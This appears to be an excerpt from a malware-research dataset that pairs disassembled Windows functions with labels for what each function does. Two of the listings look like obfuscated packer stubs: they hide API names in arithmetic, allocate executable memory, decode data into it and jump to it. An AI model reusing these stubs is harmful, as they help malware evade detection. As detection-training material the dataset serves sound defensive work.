joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000f97a
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
xor ecx, ecx
test eax, eax
jne 0x1000f9a1
mov eax, ecx
mov dword [ebp - 4], eax
jmp 0x1000f9a4
mov eax, dword [ebp - 4]
push esi
mov esi, dword [ebp + 0xc]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.1000f956
pop esi
leave
ret 8

Function at 0x10011a2c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x10017c1d
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov edx, 0x811c9dc5
xor ecx, ecx
movzx eax, byte [esi + ecx]
xor eax, edx
imul edx, eax, 0x1000193
inc ecx
cmp ecx, 4
jb 0x10017c2b
mov eax, edx
xor edx, edx
div dword [ebp + 0xc]
pop esi
mov eax, edx
pop ebp
ret

Function at 0x1001dd0d
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002a680
mov eax, dword fs:[0]
push eax
push ebx
push esi
push edi
mov eax, dword [0x1003a340]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
xor eax, eax
mov ebx, str.advapi32.dll
push 0x800
push eax
push ebx
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x1001dd7f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x1001de07
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
test edi, edi
je 0x1001de07
push str.RegisterTraceGuidsW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call fcn.10011d71
mov dword [esp], str.UnregisterTraceGuids
push edi
mov dword [esi], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call fcn.10011d71
mov dword [esp], str.TraceEvent
push edi
mov dword [esi + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call fcn.10011d71
mov dword [esp], str.GetTraceLoggerHandle
push edi
mov dword [esi + 8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call fcn.10011d71
mov dword [esp], str.GetTraceEnableLevel
push edi
mov dword [esi + 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call fcn.10011d71
mov dword [esp], str.GetTraceEnableFlags
push edi
mov dword [esi + 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call fcn.10011d71
pop ecx
mov dword [esi + 0x14], eax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10027620
Capabilities:
Get process heap force flags

Disassembly:
call fcn.10027550
mov ecx, dword fs:[0x18]
mov ecx, dword [ecx + 0x30]
mov edx, dword [ecx + 0xa4]
shl edx, 0x10
or edx, dword [ecx + 0xa8]
cmp edx, 0x50001
jae 0x1002764a
add eax, 0x74
ret
cmp edx, 0x60000
jae 0x10027656
add eax, 0x78
ret
add eax, 0x88
ret

Function at 0x10027660
Capabilities:
Get process heap force flags

Disassembly:
call fcn.10027550
mov ecx, dword fs:[0x18]
mov ecx, dword [ecx + 0x30]
mov edx, dword [ecx + 0xa4]
shl edx, 0x10
or edx, dword [ecx + 0xa8]
cmp edx, 0x60000
jae 0x1002768a
add eax, 0x7c
ret
add eax, 0x8c
ret

Function at 0x10027920
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
mov eax, dword [0x1003a340]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x10027947
mov ecx, 5
int 0x29
push 2
call fcn.10026eeb
push 0x50
lea eax, [ebp - 0x320]
push 0
push eax
call sub.msvcrt.dll_memset
push 0x2cc
lea eax, [ebp - 0x2d0]
push 0
push eax
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x320]
add esp, 0x1c
mov dword [ebp - 0x328], eax
lea eax, [ebp - 0x2d0]
mov dword [ebp - 0x324], eax
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x228], edx
mov dword [ebp - 0x22c], ebx
mov dword [ebp - 0x230], esi
mov dword [ebp - 0x234], edi
mov word [ebp - 0x208], ss
mov word [ebp - 0x214], cs
mov word [ebp - 0x238], ds
mov word [ebp - 0x23c], es
mov word [ebp - 0x240], fs
mov word [ebp - 0x244], gs
pushfd
pop dword [ebp - 0x210]
mov eax, dword [ebp + 4]
mov dword [ebp - 0x218], eax
lea eax, [ebp + 4]
mov dword [ebp - 0x20c], eax
mov dword [ebp - 0x2d0], 0x10001
mov eax, dword [eax - 4]
mov dword [ebp - 0x21c], eax
mov eax, dword [ebp + 4]
mov dword [ebp - 0x320], 0xc0000417
mov dword [ebp - 0x31c], 1
mov dword [ebp - 0x314], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
test eax, eax
jne 0x10027a52
test esi, esi
jne 0x10027a52
push 2
call fcn.10026eeb
add esp, 4
push 0xc0000417
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1002652a
mov esp, ebp
pop ebp
ret
Function at 0x10028020
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x504
mov eax, dword [0x1003a340]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x1002811b
push 0x2d
push esi
call sub.msvcrt.dll_strchr
add esp, 8
test eax, eax
je 0x1002811b
xor ecx, ecx
mov al, byte [ecx + esi]
lea edx, [ecx + ecx]
test al, al
je 0x1002807a
cbw
inc ecx
mov word [ebp + edx - 0x204], ax
cmp ecx, 0x100
jne 0x10028058
jmp 0x1002811b
cmp edx, 0x200
jae 0x10028181
xor eax, eax
mov word [ebp + edx - 0x204], ax
lea eax, [ebp - 0x204]
push 0x2d
push eax
call sub.msvcrt.dll_wcsrchr
add esp, 8
test eax, eax
je 0x1002811b
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
lea eax, [ebp - 0x504]
push 0xff
push eax
push 0x1001
lea eax, [ebp - 0x204]
push eax
call edi
test eax, eax
je 0x1002811a
lea edx, [ebp - 0x504]
mov ecx, 0x5f
lea edx, [edx + eax*2]
mov word [edx - 2], cx
mov ecx, 0x100
sub ecx, eax
lea eax, [ebp - 0x204]
push ecx
push edx
push 0x1002
push eax
call edi
test eax, eax
je 0x1002811a
lea edi, [ebp - 0x504]
xor eax, eax
nop
movzx ecx, word [edi + eax*2]
lea edx, [ebp - 0x304]
test cx, cx
je 0x10028163
mov byte [edx + eax], cl
inc eax
cmp eax, 0x100
jne 0x10028100
pop edi
mov eax, dword [0x1003c178]
test eax, eax
jne 0x10028141
push str.setlocale
call fcn.10028f40
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x1002813c
or eax, 0xffffffff
mov dword [0x1003c178], eax
lea ecx, [eax + 1]
neg ecx
sbb ecx, ecx
and ecx, eax
je 0x1002816f
push esi
push ebx
call ecx
add esp, 8
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1002652a
mov esp, ebp
pop ebp
ret
mov byte [edx + eax], 0
lea esi, [ebp - 0x304]
jmp 0x1002811a
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.1002652a
mov esp, ebp
pop ebp
ret
call fcn.10027015
int3

Function at 0x10028680
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
call fcn.100286b0
mov esi, dword [ebp + 8]
test al, al
je 0x1002869e
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call fcn.100286c0
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x1002a0e0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1002a10d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1002a10d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x10016f78
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x10016f87
pop dword [ebp - 0x38]
mov eax, 0x33cb33ed
sub eax, 0x23c9c466
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0xc778a87c
add dword [ebp - 0x48], 0x86d99ccf
mov dword [ebp - 0x44], 0xfe2ae2f7
sub dword [ebp - 0x44], 0xcbf796b2
mov dword [ebp - 0x40], 0xa7393eab
sub dword [ebp - 0x40], 0x5aecfa7d
mov dword [ebp - 0x3c], 0xa3424c9c
add dword [ebp - 0x3c], 0x5cbdb364
lea eax, [ebp - 0x48]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xe96fb41a
add dword [ebp - 0x48], 0x8b02b53c
mov dword [ebp - 0x44], 0x64e90dee
add dword [ebp - 0x44], 0xdc835387
mov dword [ebp - 0x40], 0x3531ea92
add dword [ebp - 0x40], 0x2e3d81da
mov dword [ebp - 0x3c], 0x63af5ce5
add dword [ebp - 0x3c], 0x9c50a31b
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x23f92a26
sub eax, 0x13f77a12
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x3d238
push 0
call eax
mov ecx, 0xca89ad63
sub ecx, 0xca8969de
mov esi, eax
mov edx, 0x1002b000
add edx, dword [ebp - 0x38]
mov ebx, 0xb343e481
add ebx, 0x807248f
mov dword [ebp - 0x20], 0x5707e332
mov edi, dword [edx]
sub dword [ebp - 0x10], 0x7a3b4ed1
xor edi, ebx
add dword [ebp - 0xc], edi
mov dword [esi], edi
add dword [ebp - 4], ecx
add esi, 4
add edx, 4
loop 0x1001709e
add eax, 0x100e7
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret

Function at 0x503b8c
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x505076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x505298], eax
mov dword [0x505220], 0x503376
mov dword [0x50521c], 2
jmp 0x503bbc
mov dword [0x505224], 0
mov dword [0x505228], 0
mov dword [0x505218], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x50522c], eax
mov dword [0x505240], 0x50408c
mov dword [0x505238], 0xf
mov dword [0x50506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x505230], eax
mov dword [0x505244], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x505234], eax
push 0x505218
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x50506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x505290], eax
push 5
push dword [0x505290]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x505290]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x503c8f
push 0
push 0
push 0
push 0x505248
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x503cbc
push 0x505248
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x505248
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x503c8f
mov eax, dword [0x505250]
jmp 0x503cc9
call 0x502c0d
ret
Function at 0x414838
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44ec90]
jne 0x414842
repz ret
jmp fcn.0041a6eb

Function at 0x424ce0
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0041baaf
and dword [ebp - 4], 0
cmp dword [0x452c08], 0
mov ebx, eax
jne 0x424d91
push str.USER32.DLL
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x424e42
mov esi, dword [sym.imp.kernel32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x424e42
push eax
call main
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x452c08], eax
call esi
push eax
call main
mov dword [esp], 0x43fb18
push edi
mov dword [0x452c0c], eax
call esi
push eax
call main
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x452c10], eax
call esi
push eax
call main
pop ecx
mov dword [0x452c18], eax
test eax, eax
je 0x424d91
push str.GetProcessWindowStation
push edi
call esi
push eax
call main
pop ecx
mov dword [0x452c14], eax
mov eax, dword [0x452c14]
cmp eax, ebx
je 0x424de9
cmp dword [0x452c18], ebx
je 0x424de9
push eax
call main
push dword [0x452c18]
mov esi, eax
call main
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x424de9
test edi, edi
je 0x424de9
call esi
test eax, eax
je 0x424de0
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x424de0
test byte [ebp - 0xc], 1
jne 0x424de9
or dword [ebp + 0x10], 0x200000
jmp 0x424e22
mov eax, dword [0x452c0c]
cmp eax, ebx
je 0x424e22
push eax
call main
pop ecx
test eax, eax
je 0x424e22
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x424e22
mov eax, dword [0x452c10]
cmp eax, ebx
je 0x424e22
push eax
call main
pop ecx
test eax, eax
je 0x424e22
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x452c08]
call main
pop ecx
test eax, eax
je 0x424e42
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x424e44
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x29801a89
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x298601b4]
jne 0x29801a93
repz ret
jmp fcn.2983e792

Function at 0x298050c5
Capabilities:
Write file on windows

Disassembly:
push 0x2c
mov eax, 0x2983eb59
call fcn.29801f91
mov ebx, dword [ebp + 8]
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x298050e5
xor eax, eax
call fcn.298029c6
ret 4
call dword [sym.imp.MSVCP100.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const]
test eax, eax
je 0x29805113
mov eax, dword [esi + 0x34]
mov ecx, dword [esi + 0x24]
mov edi, dword [eax]
add edi, dword [ecx]
mov ecx, esi
call dword [sym.imp.MSVCP100.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const]
cmp eax, edi
jae 0x29805113
mov ecx, esi
call dword [sym.imp.MSVCP100.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
mov byte [eax], bl
mov eax, ebx
jmp 0x298050dd
xor edi, edi
cmp dword [esi + 0x54], edi
jne 0x2980511f
or eax, 0xffffffff
jmp 0x298050dd
mov ecx, esi
call fcn.29803ec2
cmp dword [esi + 0x44], edi
jne 0x2980513c
push dword [esi + 0x54]
push ebx
call fcn.2983293b
pop ecx
pop ecx
test al, al
je 0x2980511a
jmp 0x2980510f
push edi
push 8
lea ecx, [ebp - 0x2c]
mov byte [ebp - 0x30], bl
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], edi
mov byte [ebp - 0x2c], 0
call fcn.2983293b
mov dword [ebp - 4], edi
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x298051f1
lea eax, [ebp - 0x2c]
mov ecx, eax
add eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x34]
push edx
push eax
push ecx
mov ecx, dword [esi + 0x44]
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x2f]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [esi + 0x4c]
push eax
call dword [sym.imp.MSVCP100.dll_public:_int___thiscall_std::codecvt_char__char__int_::out_int___char_const___char_const___char_const____char___char___char___const]
test eax, eax
js 0x2980520f
cmp eax, 1
jg 0x298051f9
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x298051a4
lea eax, [ebp - 0x2c]
mov edi, dword [ebp - 0x34]
sub edi, eax
je 0x298051cb
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x298051b7
lea eax, [ebp - 0x2c]
push dword [esi + 0x54]
push edi
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x2980520f
lea eax, [ebp - 0x30]
mov byte [esi + 0x49], 1
cmp dword [ebp - 0x38], eax
jne 0x29805229
test edi, edi
jne 0x2980515b
cmp dword [ebp - 0x1c], 0x20
jae 0x2980520f
push edi
push 8
lea ecx, [ebp - 0x2c]
call fcn.2983293b
jmp 0x2980515b
mov ecx, dword [ebp - 0x2c]
jmp 0x2980516d
cmp eax, 3
jne 0x2980520f
push dword [esi + 0x54]
push dword [ebp - 0x30]
call fcn.2983293b
pop ecx
pop ecx
test al, al
jne 0x29805229
or esi, 0xffffffff
or dword [ebp - 4], 0xffffffff
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.2983293b
mov eax, esi
jmp 0x298050dd
mov esi, ebx
jmp 0x29805212
Function at 0x2980522d
Capabilities:
Write file on windows

Disassembly:
push 0x24
mov eax, 0x2983fd5f
call fcn.29801f91
mov esi, ecx
xor edi, edi
cmp dword [esi + 0x44], edi
je 0x29805323
cmp byte [esi + 0x49], 0
je 0x29805323
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x29805263
xor al, al
jmp 0x29805325
push edi
push 8
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], edi
mov byte [ebp - 0x2c], 0
call fcn.2983293b
mov dword [ebp - 4], edi
lea ebx, [esi + 0x4c]
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x298052c5
lea eax, [ebp - 0x2c]
mov ecx, eax
add eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x30]
push edx
push eax
push ecx
mov ecx, dword [esi + 0x44]
push ebx
call dword [sym.imp.MSVCP100.dll_public:_int___thiscall_std::codecvt_char__char__int_::unshift_int___char___char___char___const]
sub eax, 0
je 0x298052ca
dec eax
je 0x298052ce
dec eax
dec eax
je 0x2980531f
xor bl, bl
or dword [ebp - 4], 0xffffffff
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.2983293b
mov al, bl
jmp 0x29805325
mov ecx, dword [ebp - 0x2c]
jmp 0x29805290
mov byte [esi + 0x49], 0
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x298052da
lea eax, [ebp - 0x2c]
mov edi, dword [ebp - 0x30]
sub edi, eax
je 0x29805301
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x298052ed
lea eax, [ebp - 0x2c]
push dword [esi + 0x54]
push edi
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x298052af
cmp byte [esi + 0x49], 0
je 0x2980531f
test edi, edi
jne 0x29805282
push edi
push 8
lea ecx, [ebp - 0x2c]
call fcn.2983293b
jmp 0x29805282
mov bl, 1
jmp 0x298052b1
mov al, 1
call fcn.298029c6
ret
Function at 0x2982092f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x29840d8f
call fcn.2983e23c
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [ebp - 0x424], eax
mov eax, dword [ebp + 0x10]
xor ebx, ebx
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x428], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x430], ebx
mov dword [ebp - 0x418], ebx
mov byte [ebp - 4], 1
cmp esi, ebx
je 0x298209dd
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
inc eax
push 2
push eax
mov dword [ebp - 0x41c], eax
lea eax, [ebp - 0x41c]
push eax
call fcn.2983293b
add esp, 0xc
test eax, eax
js 0x298209dd
mov edi, dword [ebp - 0x41c]
cmp edi, 0x400
jg 0x298209c3
push edi
call fcn.2981d496
pop ecx
test al, al
je 0x298209c3
mov eax, edi
call fcn.2983e480
mov dword [ebp - 0x10], esp
mov eax, esp
jmp 0x298209cf
push edi
lea ecx, [ebp - 0x428]
call fcn.2983293b
push 3
push edi
push esi
push eax
call fcn.2983293b
cmp eax, ebx
jne 0x29820a1a
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x298209f6
lea ecx, [ebp - 0x418]
call fcn.2981cb8c
mov esi, 0x8007000e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x428]
call fcn.2981cb0e
mov eax, esi
lea esp, [ebp - 0x440]
call fcn.2983e275
ret 0x10
push 2
push ebx
push eax
call fcn.2981d73e
mov edi, eax
mov dword [ebp - 0x41c], edi
cmp edi, ebx
jne 0x29820a3b
call fcn.2981c3ab
mov esi, eax
jmp 0x29820b05
push dword [ebp - 0x420]
push dword [ebp - 0x424]
push edi
call dword [sym.imp.kernel32.dll_FindResourceA]
mov esi, eax
cmp esi, ebx
jne 0x29820a5e
call fcn.2981c3ab
jmp 0x29820af7
push esi
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x420], eax
cmp eax, ebx
je 0x29820a54
push esi
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov esi, eax
lea eax, [esi + 1]
mov dword [ebp - 0x424], esi
cmp eax, esi
jae 0x29820a8e
mov esi, 0x8007000e
jmp 0x29820af9
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.2983293b
mov dword [ebp - 4], 1
jmp 0x29820abc
cmp dword [ebp - 0x418], ebx
je 0x29820a87
push esi
push dword [ebp - 0x420]
push esi
push dword [ebp - 0x418]
call fcn.2983293b
mov eax, dword [ebp - 0x418]
add esp, 0x10
push dword [ebp + 0x14]
mov byte [eax + esi], bl
push dword [ebp - 0x418]
lea ecx, [ebp - 0x430]
call fcn.2983293b
mov esi, eax
push dword [ebp - 0x41c]
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x298209fb
lea ecx, [ebp - 0x418]
call fcn.2981cb8c
jmp 0x298209fb
Function at 0x2983293b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x2983294a
pop dword [ebp - 0x30]
mov eax, 0x2983294a
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xeb520b58
add dword [ebp - 0x40], 0x630039f3
mov dword [ebp - 0x3c], 0x1bc3d304
add dword [ebp - 0x3c], 0x166f7941
mov dword [ebp - 0x38], 0x30eafd2e
add dword [ebp - 0x38], 0x1b614700
mov dword [ebp - 0x34], 0xf3107d7a
sub dword [ebp - 0x34], 0xf3107d7a
lea eax, [ebp - 0x40]
push eax
mov eax, 0xd8848c79
add eax, 0x50ffb47f
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x69400dc2
add dword [ebp - 0x40], 0xb325b94
mov dword [ebp - 0x3c], 0x8993eaec
add dword [ebp - 0x3c], 0xb7d87689
mov dword [ebp - 0x38], 0x1e007a17
add dword [ebp - 0x38], 0x456ef255
mov dword [ebp - 0x34], 0x819f738e
sub dword [ebp - 0x34], 0x819f738e
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0x9625a061
sub eax, 0x6ca15f71
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x4887f
push 0
call eax
mov ecx, 0x5616c8fb
add ecx, 0xa9e98f74
mov esi, eax
mov edi, 0x8db7023d
sub edi, 0x642f423d
add edi, dword [ebp - 0x30]
mov edx, 0xb44abc33
add edx, 0x20625374
xor dword [ebp - 0x1c], esi
mov ebx, dword [edi]
xor dword [ebp - 8], 0x960717bd
add ebx, edx
mov dword [ebp - 0x14], 0x83adca74
mov dword [esi], ebx
add esi, 0xeed1574e
sub esi, 0xeed1574a
add edi, 0xa402d428
add edi, 0x5bfd2bdc
loop 0x29832a67
add eax, 0x103ee5d9
sub eax, 0x103d914a
xor ebx, ebx
add ebx, eax
add eax, 0x54ec074b
add eax, 0xab13f8ba
mov ecx, 0x29800000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret